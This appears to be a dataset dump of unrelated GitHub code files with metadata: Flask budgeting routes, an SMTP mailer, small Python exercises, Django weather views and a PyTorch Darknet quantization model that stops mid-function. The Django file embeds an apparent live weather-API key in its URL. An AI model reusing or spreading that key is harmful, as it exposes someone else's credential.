form_batch.budget_csv_file.data:\n file = form_batch.budget_csv_file.data.read().decode('utf-8')\n csv_rw.import_budgets_from_csv(StringIO(file))\n return redirect(url_for('main.budget_add'))\n except:\n flash('There was an error processing your csv file.') \n\n\n return render_template('budgets/add.html',\n title='Add Budget',\n form=form,\n form_batch=form_batch,\n # budget_categories=budget_categories\n )\n\n@bp.route('/budget/edit', methods=['GET', 'POST'])\n@login_required\ndef budget_edit():\n #Populate the list of radio button choices with the current list of\n #budget categories\n radio_choices = [(c.id,c.category_title) for c in current_user.budget_categories.filter_by(status='A').order_by(Budget_Category.category_title).all()]\n\n #Pull all the current data for the categories for the current user, to display\n # budget_categories = current_user.budget_categories.filter_by(status='A').order_by(Budget_Category.category_title).all()\n\n #Instantiate the form\n form = EditBudgetForm()\n #Pass dynamic radio button data to the form\n form.select_budget.choices = radio_choices\n\n #If the form passes the built in validators, move on\n if form.validate_on_submit():\n #Identify the category to be edited by pulling the data from the radio selection\n category = current_user.budget_categories.filter_by(id=form.select_budget.data).first()\n\n #Check each form field to see if new data has been entered to supercede old data\n #Any or all data can be entered, so individual if statements are used.\n if form.category_title.data:\n if form.category_title.data == category.category_title:\n flash(\"The category title you've entered matches your old title!\")\n else:\n category.category_title = form.category_title.data.title()\n flash(\"The category title has been changed.\")\n\n if form.current_balance.data:\n if form.current_balance.data == category.current_balance:\n flash(\"The current balance you've entered matches your old balance!\")\n else:\n category.current_balance = form.current_balance.data\n flash(\"The current balance has been changed.\")\n\n #Both target period and target value are required to update the budget amount\n if form.target_period.data and form.target_value.data:\n #If new budget amounts are entered, the data needs to be updated in\n #the Budget_History table linked to the Budget_Category table\n\n #First, pull the current (now obsoleted) budget history for the\n #current budget category\n obsolete_history = category.budget_history.filter_by(status='C').first()\n\n #Now check that a change to the annual budget has actually been made\n if form.target_period.data == 1:\n annual_budget = form.target_value.data * 26\n elif form.target_period.data == 2:\n annual_budget = form.target_value.data * 12\n else:\n annual_budget = form.target_value.data\n\n if obsolete_history.annual_budget == annual_budget:\n flash(\"The new budget you've entered matches your old budget!\")\n else:\n #if the obsoleted budget doesn't equal the new value, proceed with\n #the edit.\n\n #Populate the obsoleteing information\n obsolete_history.end_datetime = datetime.now()\n obsolete_history.status = 'O'\n\n #Next, create the new budget history entry from the entered form data\n current_history = Budget_History(id_user = current_user.id,\n id_budget_category = category.id,\n start_datetime = datetime.now(),\n status = 'C',\n annual_budget = annual_budget)\n\n #add the new history object to the database\n db.session.add(current_history)\n\n flash(\"Your annual budget target has been changed.\")\n #push all changes through to the database\n db.session.commit()\n\n #reload the edit page for further edits\n return redirect(url_for('main.budget_edit'))\n\n return render_template('budgets/edit.html',\n title='Edit Budget',\n form=form,\n # budget_categories=budget_categories\n )\n\n@bp.route('/budget/delete', methods=['GET','POST'])\n@login_required\ndef budget_delete():\n #Populate the list of radio button choices with the current list of\n #budget categories\n radio_choices = [(c.id,c.category_title) for c in current_user.budget_categories.filter_by(status='A').order_by(Budget_Category.category_title).all()]\n\n #Pull all the current data for the categories for the current user, to display\n # budget_categories = current_user.budget_categories.filter_by(status='A').order_by(Budget_Category.category_title).all()\n\n #Instantiate the form\n form = DeleteBudgetForm()\n\n #Pass dynamic radio button data to the form\n form.select_budget.choices = radio_choices\n\n if form.validate_on_submit():\n #Identify the category to be edited by pulling the data from the radio selection\n category = current_user.budget_categories.filter_by(id=form.select_budget.data).first()\n\n #Pull the user selection of whether to delete or end the category\n delete_or_end=form.delete_or_end_budget.data\n\n if delete_or_end == 1:\n #Delete budget category\n if category.transactions.first() != None:\n flash(\"The category you are trying to delete has transactions posted against it and cannot be deleted.\")\n return redirect(url_for('main.budget_delete'))\n else:\n db.session.delete(category)\n db.session.commit()\n\n flash('The budget category has been deleted.')\n return redirect(url_for('main.budget_delete'))\n\n elif delete_or_end == 2:\n category.status = 'E'\n db.session.commit()\n\n flash(\"The budget category has been ended, but historical data has been retained.\")\n return redirect(url_for('main.budget_delete'))\n\n return render_template('budgets/delete.html',\n title='Delete/End Budget',\n form=form,\n # budget_categories=budget_categories\n )\n\n@bp.route('/budget/view', methods=['GET','POST'])\n@login_required\ndef budget_view():\n # budget_categories = current_user.budget_categories.filter_by(status='A').order_by(Budget_Category.category_title.asc()).all()\n \n form=DownloadBudgetForm()\n\n if form.validate_on_submit():\n return redirect(url_for('main.download_budgets'))\n\n return render_template('budgets/view.html',\n title='View Budgets',\n # budget_categories=budget_categories,\n form=form\n )\n\n@bp.route('/budget/fund', methods=['GET','POST'])\n@login_required\ndef budget_fund():\n unallocated_income = current_user.unallocated_income\n form_categories = [(c.id,c.category_title) for c in current_user.budget_categories.filter_by(status='A').order_by(Budget_Category.category_title.asc())]\n if form_categories:\n\n budget_categories = current_user.budget_categories.filter_by(status='A').order_by(Budget_Category.category_title.asc()).all()\n\n form = FundingForm(fund_budgets=form_categories)\n\n i=0\n for budget in form.fund_budgets:\n budget.name = form_categories[i][0]\n budget.label = form_categories[i][1]\n budget.data['fund_value'] = 1\n i += 1\n\n else:\n form = FundingForm(fund_budgets = None)\n budget_categories = None\n\n if form.validate_on_submit():\n fund_sum = 0\n for budget in form.fund_budgets:\n if budget.data['fund_value'] != None:\n transaction = Transaction(id_user = current_user.id,\n id_budget_category = budget.name,\n amount = budget.data['fund_value'],\n vendor = None,\n note = \"Allocated by funding.\",\n ttype = \"I\")\n fund_sum += budget.data['fund_value']\n db.session.add(transaction)\n db.session.commit()\n\n transaction.apply_transaction()\n flash(\"{} was allocated ${:.2f}\".format(transaction.budget_category.category_title,transaction.amount))\n\n if form.unallocated_income.data:\n unallocated_income = unallocated_income + form.unallocated_income.data - fund_sum\n else:\n unallocated_income -= fund_sum\n\n current_user.unallocated_income = unallocated_income\n db.session.commit()\n\n flash(\"${:.2f} was unallocated, and was saved for future allocation.\".format(unallocated_income))\n\n return redirect(url_for('main.budget_fund'))\n\n return render_template('budgets/fund.html',\n title='Fund Budgets',\n form=form,\n budget_categories=budget_categories,\n unallocated_income=unallocated_income\n )\n\n###########################################################################################################################\n# Route functions related to handling transactions\n###########################################################################################################################\n\n@bp.route('/trans/add', methods=['GET','POST'])\n@login_required\ndef trans_add():\n budget_choices = [(c.id,c.category_title) for c in current_user.budget_categories.filter_by(status='A').order_by(Budget_Category.category_title).all()]\n # budget_categories = current_user.budget_categories.filter_by(status='A').order_by(Budget_Category.category_title).all()\n\n form = AddTransactionForm()\n form.trans_category.choices += budget_choices\n\n form_batch = AddBatchTransactionForm()\n\n if form_batch.validate_on_submit():\n try:\n if form_batch.trans_csv_file.data:\n file = form_batch.trans_csv_file.data.read().decode('utf-8')\n csv_rw.import_trans_from_csv(StringIO(file))\n return redirect(url_for('main.trans_add'))\n\n except:\n flash('There was an error processing your csv file.')\n\n return redirect(url_for('main.trans_add'))\n\n if form.validate_on_submit():\n if form.trans_category.data == 0:\n flash('Please select a valid category')\n return redirect(url_for('main.trans_add'))\n\n transaction = Transaction(id_user = current_user.id,\n id_budget_category = form.trans_category.data,\n date = form.trans_date.data,\n amount = form.trans_amount.data,\n vendor = form.trans_vendor.data,\n note = form.trans_note.data,\n ttype = form.trans_type.data)\n \n\n if form.trans_sched.data:\n #if the transaction is requested to repeat monthly:\n #create a template transaction for the scheduled transaction. \n #this template is not applied.\n sched_trans_template = Transaction(id_user = current_user.id,\n id_budget_category = form.trans_category.data,\n date = form.trans_date.data,\n amount = form.trans_amount.data,\n vendor = form.trans_vendor.data,\n note = 'Scheduled transaction template - not applied to budget')\n\n if transaction.ttype == 'I':\n sched_trans_template.ttype = 'SI'\n elif transaction.ttype == 'E':\n sched_trans_template.ttype = 'SE'\n\n db.session.add(sched_trans_template)\n db.session.commit()\n\n #add a repeating transaction based on the scheduled transaction template\n st = scheduled_tasks.add_scheduled_trans(sched_trans_template)\n\n if form.trans_sched_apply.data:\n #if requested, apply the transaction immediately\n #note, this is the original transaction, not the scheduled transaction template\n db.session.add(transaction)\n db.session.commit()\n\n transaction.apply_transaction()\n flash(\"Your transaction has been applied, and will repeat day {} of each month.\".format(st.dotm))\n\n if not form.trans_sched_apply.data:\n #if immediate application is not requested, no further commit necessary\n flash(\"Your transaction has NOT been applied, but will be applied on day {} of each month going forward.\".format(st.dotm))\n else:\n #if the transaction is not requested to repeat monthly, simply apply the current\n #transaction\n db.session.add(transaction)\n db.session.commit()\n\n transaction.apply_transaction()\n\n category = Budget_Category.query.filter_by(id=form.trans_category.data).first()\n category_title = category.category_title\n current_balance = category.current_balance\n\n flash(\"Your transaction has been applied. {} now has a balance of ${:.2f}\".format(category_title,current_balance))\n\n return redirect(url_for('main.trans_add'))\n\n return render_template('transactions/add.html',\n title='Add Transactions',\n form=form,\n form_batch=form_batch,\n # budget_categories=budget_categories,\n )\n\n@bp.route('/trans/edit', methods=['GET','POST'])\n@login_required\ndef trans_edit():\n trans_choices = [(c.id,c.amount) for c in current_user.transactions.filter(Transaction.ttype != 'ST').order_by(Transaction.date.desc()).all()]\n # transactions = current_user.transactions.filter(Transaction.ttype != 'ST').order_by(Transaction.date.desc()).all()\n\n budget_choices = [(c.id,c.category_title) for c in current_user.budget_categories.filter_by(status='A').order_by(Budget_Category.category_title).all()]\n\n form = EditTransactionForm()\n form.select_trans.choices = trans_choices\n form.trans_category.choices += budget_choices\n\n if form.validate_on_submit():\n transaction = current_user.transactions.filter_by(id=form.select_trans.data).first()\n flash_note = []\n\n if form.trans_delete.data:\n #delete both the scheduled transaction item and it's template transaction\n db.session.delete(transaction)\n db.session.commit()\n flash('The selected transaction has been deleted.')\n\n return redirect(url_for('main.trans_edit'))\n\n if form.trans_date.data:\n if form.trans_date.data == transaction.date:\n flash(\"The new date you've entered matches the existing date.\")\n else:\n transaction.date = form.trans_date.data\n db.session.commit()\n flash_note += [0]\n\n if form.trans_amount.data:\n if form.trans_amount.data == transaction.amount:\n flash(\"The new amount you've entered matches the existing amount.\")\n else:\n transaction.change_trans_amount(form.trans_amount.data)\n flash_note += [1]\n\n if form.trans_type.data != 'S':\n if form.trans_type.data == transaction.ttype:\n flash(\"The new type you've entered matches the existing type.\")\n else:\n transaction.change_trans_type()\n flash_note += [2]\n\n if form.trans_category.data != 0:\n if form.trans_category.data == transaction.id_budget_category:\n flash(\"The new category you've entered matches the existing category.\")\n else:\n transaction.change_trans_category(form.trans_category.data)\n flash_note += [3]\n\n if form.trans_vendor.data:\n if form.trans_vendor.data == transaction.vendor:\n flash(\"The new vendor you've entered matches the existing vendor.\")\n else:\n transaction.vendor = form.trans_vendor.data\n db.session.commit()\n flash_note += [4]\n\n if form.trans_note.data:\n if form.trans_note.data == transaction.note:\n flash(\"The new note you've entered matches the existing note.\")\n else:\n transaction.note = form.trans_note.data\n db.session.commit()\n flash_note += [5]\n\n db.session.commit()\n\n if 0 in flash_note:\n flash(\"The transaction date has been changed.\")\n if 1 in flash_note:\n flash(\"The transaction amount has been changed.\")\n if 2 in flash_note:\n flash(\"The transaction type has been changed.\")\n if 3 in flash_note:\n flash(\"The transaction budget category has been changed.\")\n if 4 in flash_note:\n flash(\"The transaction vendor has been changed.\")\n if 5 in flash_note:\n flash(\"The transaction note has been changed.\")\n\n return redirect(url_for('main.trans_edit'))\n\n return render_template('transactions/edit.html',\n title='Edit Transactions',\n form=form,\n # transactions=transactions,\n )\n\n@bp.route('/trans/edit_sched', methods=['GET','POST'])\n@login_required\ndef trans_edit_sched():\n trans_choices = [(c.id,c.dotm) for c in current_user.scheduled_transactions.order_by(Scheduled_Transaction.dotm.asc()).all()]\n transactions = current_user.scheduled_transactions.order_by(Scheduled_Transaction.dotm.asc()).all()\n\n budget_choices = [(c.id,c.category_title) for c in current_user.budget_categories.filter_by(status='A').order_by(Budget_Category.category_title).all()]\n\n form=EditSchedTransactionForm()\n form.select_trans.choices = trans_choices\n form.trans_category.choices += budget_choices\n\n if form.validate_on_submit():\n #identify the schedule item selected\n for trans in transactions:\n if form.select_trans.data == trans.id:\n break\n\n #identify the scheduled transaction template associated with the scheduled transaction id\n trans_template = current_user.transactions.filter_by(id=trans.id_transaction).first()\n\n flash_note = []\n\n if form.trans_delete.data:\n #delete both the scheduled transaction item and it's template transaction\n db.session.delete(trans_template)\n db.session.delete(trans)\n db.session.commit()\n flash('The selected transaction has been deleted.')\n\n return redirect(url_for('main.trans_edit_sched'))\n\n if form.trans_dotm.data:\n if form.trans_dotm.data == trans.dotm:\n flash(\"The new date you've entered matches the existing date.\")\n else:\n trans.dotm = form.trans_dotm.data.day\n db.session.commit()\n flash_note += [0]\n\n if form.trans_amount.data:\n if form.trans_amount.data == trans_template.amount:\n flash(\"The new amount you've entered matches the existing amount.\")\n else:\n #no need to use the trans functions, because the changes here are not to\n #be applied to a budget immediately. These are only changes to the template.\n trans_template.amount = form.trans_amount.data\n flash_note += [1]\n\n if form.trans_type.data != 'S':\n if form.trans_type.data == trans_template.ttype:\n flash(\"The new type you've entered matches the existing type.\")\n else:\n trans_template.ttype = form.trans_type.data\n flash_note += [2]\n\n if form.trans_category.data != 0:\n if form.trans_category.data == trans_template.id_budget_category:\n flash(\"The new category you've entered matches the existing category.\")\n else:\n trans_template.id_budget_category = form.trans_category.data\n flash_note += [3]\n\n if form.trans_vendor.data:\n if form.trans_vendor.data == trans_template.vendor:\n flash(\"The new vendor you've entered matches the existing vendor.\")\n else:\n trans_template.vendor = form.trans_vendor.data\n flash_note += [4]\n\n if form.trans_note.data:\n if form.trans_note.data == trans_template.note:\n flash(\"The new note you've entered matches the existing note.\")\n else:\n trans_template.note = form.trans_note.data\n flash_note += [5]\n\n db.session.commit()\n\n if 0 in flash_note:\n flash(\"The scheduled transaction date has been changed.\")\n if 1 in flash_note:\n flash(\"The scheduled transaction amount has been changed.\")\n if 2 in flash_note:\n flash(\"The scheduled transaction type has been changed.\")\n if 3 in flash_note:\n flash(\"The scheduled transaction budget category has been changed.\")\n if 4 in flash_note:\n flash(\"The scheduled transaction vendor has been changed.\")\n if 5 in flash_note:\n flash(\"The scheduled transaction note has been changed.\")\n\n return redirect(url_for('main.trans_edit_sched'))\n\n\n return render_template('transactions/edit_sched.html',\n title='Edit Scheduled Transactions',\n form=form,\n transactions=transactions,\n )\n\n@bp.route('/trans/transfer',methods=['GET','POST'])\n@login_required\ndef trans_transfer():\n # budget_categories = current_user.budget_categories.filter_by(status='A').order_by(Budget_Category.category_title).all()\n\n budget_choices = [(c.id,c.category_title) for c in current_user.budget_categories.filter_by(status='A').order_by(Budget_Category.category_title).all()]\n\n form = TransferForm()\n\n form.from_category.choices += budget_choices\n form.to_category.choices += budget_choices\n\n if form.validate_on_submit():\n if form.from_category.data == 'S':\n flash('Please enter a budget to transfer from.')\n elif form.to_category.data == 'S':\n flash('Please enter a budget to transfer to.')\n else:\n from_category = current_user.budget_categories.filter_by(id=form.from_category.data).first()\n to_category = current_user.budget_categories.filter_by(id=form.to_category.data).first()\n\n from_transaction = Transaction(id_user = current_user.id,\n id_budget_category = form.from_category.data,\n amount = form.trans_amount.data,\n note = \"Transfer to {}\".format(to_category.category_title),\n ttype = \"TE\")\n db.session.add(from_transaction)\n\n to_transaction = Transaction(id_user = current_user.id,\n id_budget_category = form.to_category.data,\n amount = form.trans_amount.data,\n note = \"Transfer from {}\".format(from_category.category_title),\n ttype = \"TI\")\n db.session.add(to_transaction)\n db.session.commit()\n\n from_transaction.apply_transaction()\n to_transaction.apply_transaction()\n\n flash(\"${:.2f} was transfered from {} to {}\".format(form.trans_amount.data,\n from_category.category_title,\n to_category.category_title))\n\n return redirect(url_for('main.trans_transfer'))\n\n return render_template('transactions/transfer.html',\n title='Transfer',\n form=form,\n # budget_categories=budget_categories\n )\n\n###########################################################################################################################\n# Route functions related to AJAX & file download calls\n###########################################################################################################################\n\n@bp.route('/retr_trans_view', methods=['GET','POST'])\n@login_required\ndef retr_trans_view():\n data = table_builder.collect_data_serverside_trans_view(request, current_user)\n return json.dumps(data)\n\n@bp.route('/retr_trans_select', methods=['GET','POST'])\n@login_required\ndef retr_trans_select():\n data = table_builder.collect_data_serverside_trans_select(request, current_user)\n return json.dumps(data)\n\n@bp.route('/retr_budget_view', methods=['GET','POST'])\n@login_required\ndef retr_budget_view():\n data = table_builder.collect_data_serverside_budget_view(request, current_user)\n return json.dumps(data)\n\n@bp.route('/retr_budget_select', methods=['GET','POST'])\n@login_required\ndef retr_budget_select():\n data = table_builder.collect_data_serverside_budget_select(request, current_user)\n return json.dumps(data)\n\n@bp.route('/download_trans',methods=['GET','POST'])\n@login_required\ndef download_trans():\n try:\n output = csv_rw.export_trans_to_csv()\n return output\n except:\n flash('There was an error downloading your transactions','error')\n return redirect(url_for('main.trans_view'))\n\n@bp.route('/download_budgets',methods=['GET','POST'])\n@login_required\ndef download_budgets():\n try:\n output = csv_rw.export_budget_to_csv()\n return output\n except:\n flash('There was an error downloading your transactions','error')\n return redirect(url_for('main.budget_view'))","repo_name":"ClimberDude/budgy_app","sub_path":"app/main/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":29854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37993224528","text":"import smtplib, random, logging\nfrom logging.handlers import RotatingFileHandler\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom .Model import Model\nfrom .View import View\nfrom .Configuration import Configuration\n\nclass Emailing:\n @staticmethod\n def run():\n config = Configuration.get()\n\n logger = logging.getLogger()\n logger.setLevel(logging.DEBUG)\n formatter = logging.Formatter('%(asctime)s :: %(levelname)s :: %(message)s')\n file_handler = RotatingFileHandler(config['path']['log'], 'a', 1000000, 1)\n file_handler.setLevel(logging.DEBUG)\n file_handler.setFormatter(formatter)\n logger.addHandler(file_handler)\n stream_handler = logging.StreamHandler()\n stream_handler.setLevel(logging.DEBUG)\n logger.addHandler(stream_handler)\n\n model = Model()\n users = model.get(config['path']['data'])\n citations = model.get(config['path']['citations'])\n\n server = smtplib.SMTP(config['smtp'], config['port'])\n server.ehlo()\n server.starttls()\n server.login(config['login'], config['password'])\n\n for row in users:\n msg = MIMEMultipart('alternative')\n msg['Subject'] = config['subject']\n msg['From'] = config['expediteur']\n msg['To'] = row['email']\n\n data = {'user' : row, 'citation' : random.choice(citations)}\n for index, value in enumerate(config['path']['view']):\n tpl = View.get(value)\n msg.attach(MIMEText(tpl.render(data), 'plain' if index == 0 else 'html'))\n\n server.sendmail(config['expediteur'], row['email'], msg.as_string().encode('utf-8'))\n \n ouputLog = \"{c} {f} {l} ({e}) envoyé !\"\n logger.info(ouputLog.format(c = row['civilities'], f = row['firstname'], l = row['lastname'], e = row['email']))\n\n server.quit()\n","repo_name":"niux3/python-emailing","sub_path":"src/emailing/Emailing.py","file_name":"Emailing.py","file_ext":"py","file_size_in_byte":1943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18266755042","text":"a = int(input(\"|a|: \"))\nb = int(input(\"|b|: \"))\n\nif (a != b):\n q = a + b\n print('a:',q)\n print('b:',q)\nelse:\n w = (a + b) * 0\n print('a:',w)\n print('b:',w)\n ","repo_name":"userQWHD/Python_Bootcamp_Homeworks","sub_path":"if_else_hw/if10.py","file_name":"if10.py","file_ext":"py","file_size_in_byte":179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"23335166871","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom models import Weather\nimport requests, json\n\nweather_url=\"http://api.openweathermap.org/data/2.5/weather?zip={},us&appid=bd82977b86bf27fb59a04b61b657fb6f\"\n\n#Kelvin to Farenheit\ndef k_to_f(kelvin):\n\treturn round(kelvin*(9.0/5.0) - 459.67,2)\n\n# Get zipcode from the database\ndef zipcode_get(request):\n\t\tw= Weather.objects.get(id=1)\n\t\treturn HttpResponse(w.zipcode)\n\n# If method is post create the resources needed for zipcdode under id=1\ndef zipcode_post(request,zipcode):\n\t\t#return HttpResponse(\"Hello Weather\")\n\t\tresponse = requests.get(weather_url.format(zipcode))\n\t\tjson_response = json.loads(response.text)\n\n\t\tw= Weather.objects.get(id=1)\n\t\tw.temperature= k_to_f(json_response[\"main\"][\"temp\"])\n\t\tw.zipcode=zipcode\n\t\tw.description= json_response[\"weather\"][0][\"description\"]\n\t\tw.save()\n\n\t\tif request.method == 'POST':\n\t\t\treturn HttpResponse(\"Succesfully posted weather for {}\".format(zipcode))\n\t\telse:\n\t\t\treturn HttpResponse(\"405, Method Not Allowed\")\n\n#return the decription in the db\ndef description(request):\n\t\tw= Weather.objects.get(id=1)\n\t\treturn HttpResponse(w.description)\n\n#return the description of the temp in the db\ndef temperature(request):\n\t\tw= Weather.objects.get(id=1)\n\t\treturn HttpResponse(w.temperature)\n\n\n","repo_name":"AayushB/Cloud-Weather","sub_path":"Django/api/weather/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29241266402","text":"# 원의 넓이와 둘레를 동시에 반환하는 함수를 작성해 본다.\n# 예시)\n\nimport math # PI=3.14..............변수를 사용하기 위해서 import\n\n\ndef circle(radius):\n 면적 = math.pi * radius\n 둘레 = 2*math.pi * radius\n return(면적, 둘레) # 튜플로 자료구조 1개를 리턴하는 것이다.\n\n\ndef main():\n str = input(\"원의 반지름을 입력하시오 : \")\n radius = float(str) # 문자열을 실수로 형변환\n # 원의 넓이와 둘레를 계산한다.\n (x, y) = circle(radius) # x==면적, y==둘레\n tmp = \"원의 넓이는 %10.4f, 둘레는 %10.4f이다\" % (x, y)\n print(tmp)\n\n# main 함수 호출\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"syuri7/Python20200209","sub_path":"st01.Python기초/py14튜플/py14_ex03_circle.py","file_name":"py14_ex03_circle.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42260680698","text":"import torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport numpy as np\r\nfrom yolo_input import Round2Int,Save_fix,SaveFeatureMap\r\nfrom pathlib import Path\r\nimport argparse\r\nfrom StoreWeights_BinConvert import Store4DBinConvert,Store1DBinConvert\r\ndef RoundPower2_pytorch_dark(input, k=4):#浮点数转换为指数\r\n x=input\r\n bound = np.power(2.0, k - 1)\r\n min_val = np.power(2.0, -bound + 1.0)\r\n s = torch.sign(x)\r\n # # Check README.md for why `x` need to be divided by `8`\r\n # x = np.clip(np.absolute(x / 8), min_val, 1.0)\r\n x = torch.clamp(torch.abs(x), min_val, 1.0)\r\n # x = torch.clamp(torch.abs(x*64), min_val, 1.0)\r\n # x = torch.clamp(torch.abs(x/64), min_val, 1.0)\r\n # Temporary. `*8` during inference and don't change during convert.\r\n # In fact, it should be `/8` during convert and don't change during inference.\r\n p = torch.round(torch.log(x) / np.log(2.))\r\n # p = torch.round(torch.log(x*8) / torch.log(2.0*torch.ones(x.size())))\r\n\r\n # sign_judge=t.eq(s,-t.ones(x.size()))\r\n # p = 0x8*sign_judge + p.type(dtype=t.CharTensor)\r\n p_1=(-4*(s-1)-p).type(dtype=torch.CharTensor)\r\n return p,s,p_1\r\n\r\ndef Round2Fixed_tensor(x, integer=16, k=32):#浮点数转为定点数,\r\n #Use this method when compute for meddle answer\r\n assert integer >= 1, integer\r\n x_shape=x.shape\r\n base=2.0*torch.ones(x_shape)\r\n fraction = k - integer\r\n bound = np.power(base, integer - 1)#this is real bound\r\n n = torch.pow(base, fraction)\r\n min_val = -bound\r\n # max_val = bound\r\n max_val=bound- 1./n\r\n # ??? Is this round function correct\r\n x_round = torch.floor(x * n)/n\r\n clipped_value = torch.clamp(x_round, min_val, max_val)\r\n return clipped_value\r\n\r\ndef Roundtofix(x,integer=16,nbit=32):\r\n assert integer>= 1\r\n fraction = nbit - integer\r\n bound = np.power(2,integer-1)\r\n n = np.power(2,fraction)\r\n min_val = -bound\r\n max_val = bound - 1./n\r\n x_round = torch.floor(x*n)/n\r\n clipped_value = torch.clamp(x_round,min_val,max_val)\r\n return clipped_value\r\n\r\nclass QuanConv(nn.Conv2d):\r\n def __init__(self,in_channels, out_channels, kernel_size,\r\n #bias,\r\n stride,padding=0, #dilation, groups,\r\n quan_name='shift',\r\n w_integer=4,w_bit=4,a_integer=3,a_bit=8,\r\n b_integer=4,b_bit=16):#change !!!\r\n super(QuanConv, self).__init__(\r\n in_channels, out_channels, kernel_size,\r\n stride, padding#dilation, groups,\r\n # quan_name, w_integer, w_bit, a_integer, a_bit\r\n #bias\r\n )\r\n self.in_channels=in_channels\r\n self.out_channels=out_channels\r\n self.kernel_size=kernel_size\r\n self.quan_name=quan_name\r\n self.stride=stride\r\n self.padding=padding\r\n self.w_integer=w_integer\r\n self.w_bit=w_bit\r\n self.a_integer=a_integer\r\n self.a_bit=a_bit\r\n self.b_integer=b_integer\r\n self.b_bit=b_bit\r\n def forward(self,input):\r\n if self.w_bit<32:\r\n if self.quan_name=='shift':\r\n weight_quant_ex,weight_sign,weight_forsave=RoundPower2_pytorch_dark(self.weight,self.w_integer)\r\n weight_quant=weight_sign*torch.pow(2,weight_quant_ex)\r\n bias_quant=Roundtofix(self.bias,self.b_integer,self.b_bit)\r\n n=np.power(2,self.b_bit-self.b_integer)\r\n bias_forsave=bias_quant*n\r\n with open(str(bias_path), mode='ab') as f:\r\n print('Store bias ')\r\n Store1DBinConvert(bias_forsave, f)\r\n with open(str(weight_path), mode='ab') as f:\r\n print('Store weight ')\r\n Store4DBinConvert(weight_forsave, f)\r\n\r\n else:\r\n weight_quant = self.weight\r\n bias_quant = self.bias\r\n weight_forsave=weight_quant\r\n bias_forsave=bias_quant\r\n print('Qutification in other ways.')\r\n else:\r\n weight_quant = self.weight\r\n bias_quant=self.bias\r\n weight_forsave = weight_quant\r\n bias_forsave = bias_quant\r\n print(\"NO quantification method\")\r\n\r\n if self.a_bit <32:\r\n activation = Roundtofix(input, self.a_integer, self.a_bit)\r\n else:\r\n activation=input\r\n\r\n output=F.conv2d(activation,weight=weight_quant,bias=bias_quant,stride=self.stride,padding=self.padding,dilation=self.dilation,groups=self.groups)\r\n output_lk=F.leaky_relu(output,0.125)\r\n # self.weight=weight_forsave\r\n # self.bias=bias_forsave\r\n return output_lk\r\n\r\nclass Darknet_19_Model(nn.Module):\r\n def __init__(self):\r\n super(Darknet_19_Model, self).__init__()\r\n self.conv0=QuanConv(in_channels=8, out_channels=64, kernel_size=3, stride=1, padding=1)\r\n self.conv1=QuanConv(in_channels=64,out_channels=64,kernel_size=3,stride=2,padding=1)\r\n self.conv2=QuanConv(in_channels=64,out_channels=64,kernel_size=3,stride=1,padding=1)\r\n self.conv3=QuanConv(in_channels=64,out_channels=64,kernel_size=3,stride=2,padding=1)\r\n self.conv4=QuanConv(in_channels=64,out_channels=128,kernel_size=3,stride=1,padding=1)\r\n self.conv5=QuanConv(in_channels=128,out_channels=64,kernel_size=1,stride=1)\r\n self.conv6=QuanConv(in_channels=64,out_channels=128,kernel_size=3,stride=1,padding=1)\r\n self.conv7=QuanConv(in_channels=128,out_channels=128,kernel_size=3,stride=2,padding=1)\r\n self.conv8=QuanConv(in_channels=128,out_channels=256,kernel_size=3,stride=1,padding=1)\r\n self.conv9=QuanConv(in_channels=256,out_channels=128,kernel_size=1,stride=1)\r\n self.conv10=QuanConv(in_channels=128,out_channels=256,kernel_size=3,stride=1,padding=1)\r\n self.conv11=QuanConv(in_channels=256,out_channels=256,kernel_size=3,stride=2,padding=1)\r\n self.conv12=QuanConv(in_channels=256, out_channels=512, kernel_size=3, stride=1, padding=1)\r\n self.conv13=QuanConv(in_channels=512,out_channels=256,kernel_size=1,stride=1)\r\n self.conv14=QuanConv(in_channels=256,out_channels=512,kernel_size=3,stride=1,padding=1)\r\n self.conv15=QuanConv(in_channels=512,out_channels=256,kernel_size=1,stride=1)\r\n self.conv16=QuanConv(in_channels=256,out_channels=512,kernel_size=3,stride=1,padding=1)\r\n self.conv17 = QuanConv(in_channels=512, out_channels=512, kernel_size=3, stride=2, padding=1)\r\n self.conv18 = QuanConv(in_channels=512, out_channels=1024, kernel_size=3, stride=1, padding=1)\r\n self.conv19 = QuanConv(in_channels=1024, out_channels=512, kernel_size=1, stride=1)\r\n self.conv20 = QuanConv(in_channels=512, out_channels=1024, kernel_size=3, stride=1, padding=1)\r\n self.conv21 = QuanConv(in_channels=1024, out_channels=512, kernel_size=1, stride=1)\r\n self.conv22 = QuanConv(in_channels=512, out_channels=1024, kernel_size=3, stride=1, padding=1)\r\n self.conv23 = QuanConv(in_channels=1024, out_channels=1024, kernel_size=3, stride=1, padding=1)\r\n self.conv24 = QuanConv(in_channels=1024, out_channels=1024, kernel_size=3, stride=1, padding=1)\r\n self.conv25 = QuanConv(in_channels=1024, out_channels=1024, kernel_size=3, stride=1, padding=1)\r\n # self.detect = QuanConv(in_channels=1024, out_channels=255, kernel_size=1, stride=1)\r\n self.detect = QuanConv(in_channels=1024, out_channels=256, kernel_size=1, stride=1)\r\n\r\n def forward(self,input):\r\n x0=self.conv0(input)\r\n x1=self.conv1(x0)\r\n x2=self.conv2(x1)\r\n x3=self.conv3(x2)\r\n x4=self.conv4(x3)\r\n x5=self.conv5(x4)\r\n x6=self.conv6(x5)\r\n x7=self.conv7(x6)\r\n x8=self.conv8(x7)\r\n x9=self.conv9(x8)\r\n x10=self.conv10(x9)\r\n x11=self.conv11(x10)\r\n x12=self.conv12(x11)\r\n x13=self.conv13(x12)\r\n x14=self.conv14(x13)\r\n x15=self.conv15(x14)\r\n x16=self.conv16(x15)\r\n x17=self.conv17(x16)\r\n x18=self.conv18(x17)\r\n 